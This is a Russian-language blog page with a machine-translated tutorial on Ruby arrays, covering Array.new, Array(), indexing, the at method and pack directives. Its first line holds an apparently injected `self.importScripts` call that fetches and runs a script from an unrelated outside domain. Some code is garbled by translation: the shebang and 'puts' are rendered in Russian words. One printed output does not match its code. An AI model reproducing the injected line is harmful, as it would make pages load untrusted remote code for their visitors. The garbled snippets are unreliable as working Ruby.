google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Массивы

Массивы Ruby - это упорядоченные, целочисленные коллекции любого объекта. Каждый элемент в массиве связан с индексом.
Индексирование массива начинается с 0, как в C или Java. Отрицательный индекс предполагается относительно конца массива, то есть индекс -1 указывает на последний элемент массива, -2 - следующий за последним элементом в массиве, и так далее.
Массивы Ruby могут содержать такие объекты, как String, Integer, Fixnum, Hash, Symbol и даже другие объекты Array. Массивы Ruby не так жестки, как массивы в других языках. Массивы Ruby растут автоматически при добавлении к ним элементов.

Создание массивов

Есть много способов создать или инициализировать массив. Один из способов - с помощью нового метода класса -
names = Array.new
Вы можете установить размер массива во время создания массива -
names = Array.new(20)
Имена массивов теперь имеют размер или длину 20 элементов. Вы можете вернуть размер массива с помощью методов size или length -
 Live Demo
#! / USR / бен / рубин

names = Array.new (20)
ставит names.size # Возвращает 20
ставит names.length # Это также возвращает 20
Это даст следующий результат -
20
20
Вы можете присвоить значение каждому элементу в массиве следующим образом:
 Live Demo
#!/usr/bin/ruby

names = Array.new(4, "mac")
puts "#{names}"
Это даст следующий результат -
["mac", "mac", "mac", "mac"]
Вы также можете использовать блок с новым, заполняя каждый элемент тем, что оценивает блок:
 Live Demo
#!/usr/bin/ruby

nums = Array.new(10) { |e| e = e * 2 }
puts "#{nums}"
Это даст следующий результат -
[0, 2, 4, 6, 8, 10, 12, 14, 16, 18]
Есть еще один метод Array, []. Это работает так -
nums = Array.[](1, 2, 3, 4,5)
Еще одна форма создания массива выглядит следующим образом -
nums = Array[1, 2, 3, 4,5]
Модуль ядра, доступный в ядре Ruby, имеет метод Array, который принимает только один аргумент. Здесь метод принимает диапазон в качестве аргумента для создания массива цифр -
 Live Demo
#!/usr/bin/ruby

digits = Array(0..9)
puts "#{digits}"
Это даст следующий результат -
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

Встроенные методы массива

Нам нужен экземпляр объекта Array для вызова метода Array. Как мы уже видели, следующий способ создания экземпляра объекта Array -
Array.[](...) [or] Array[...] [or] [...]
Это вернет новый массив, заполненный данными объектами. Теперь, используя созданный объект, мы можем вызвать любые доступные методы экземпляра. Например -
 Live Demo
#!/usr/bin/ruby

digits = Array(0..9)
num = digits.at(6)
puts "#{num}"
Это даст следующий результат -
6

Директива по массиву

пример

Попробуйте следующий пример для упаковки различных данных.
 Live Demo
a = [ "a", "b", "c" ]
n = [ 65, 66, 67 ]
puts a.pack("A3A3A3")   #=> "a  b  c  "
puts a.pack("a3a3a3")   #=> "a\000\000b\000\000c\000\000"
puts n.pack("ccc")      #=> "ABC"
Это даст следующий результат -
a  b  c
abc
ABC

Комментариев нет:

Отправить комментарий